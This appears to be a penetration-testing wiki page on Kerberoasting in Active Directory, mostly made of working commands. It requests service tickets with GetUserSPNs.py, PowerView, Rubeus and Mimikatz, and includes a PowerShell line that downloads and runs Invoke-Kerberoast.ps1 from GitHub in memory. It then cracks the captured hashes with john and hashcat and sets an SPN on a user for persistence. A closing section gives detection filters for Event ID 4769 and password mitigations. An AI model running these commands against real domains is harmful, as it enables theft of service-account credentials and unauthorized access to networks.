4.1 KiB
Kerberoast
Kerberoast
The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, **part **of these TGS tickets are **encrypted **with **keys **derived from user passwords. As a consequence, their credentials could be cracked offline.
You can know that a user account is being used as a service because the property "ServicePrincipalName" is not null.
Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.
You need valid credentials inside the domain.
{% code title="From linux" %}
msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
{% endcode %}
{% code title="From Windows, from memory to disk" %}
Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts
#Get TGS in memory
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
klist #List kerberos tickets in memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
{% endcode %}
{% code title="From Windows" %}
Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
{% endcode %}
Cracking
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Persistence
If you have enough permissions over a user you can make it kerberoastable:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
You can find useful **tools **for **kerberoast **attacks here: https://github.com/nidem/kerberoast
If you find this **error **from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronise the host with the DC: ntpdate <IP of DC>
Mitigation
Kerberoast is very stealthy if exploitable
- Security Event ID 4769 – A Kerberos ticket was requested
- Since 4769 is very frequent, lets filter the results:
- Service name should not be krbtgt
- Service name does not end with $ (to filter out machine accounts used for services)
- Account name should not be machine@domain (to filter out requests from machines)
- Failure code is '0x0' (to filter out failures, 0x0 is success)
- Most importantly, ticket encryption type is 0x17
- Mitigation:
- Service Account Passwords should be hard to guess (greater than 25 characters)
- Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
**More information about Kerberoasting in ired.team in ****here **and here.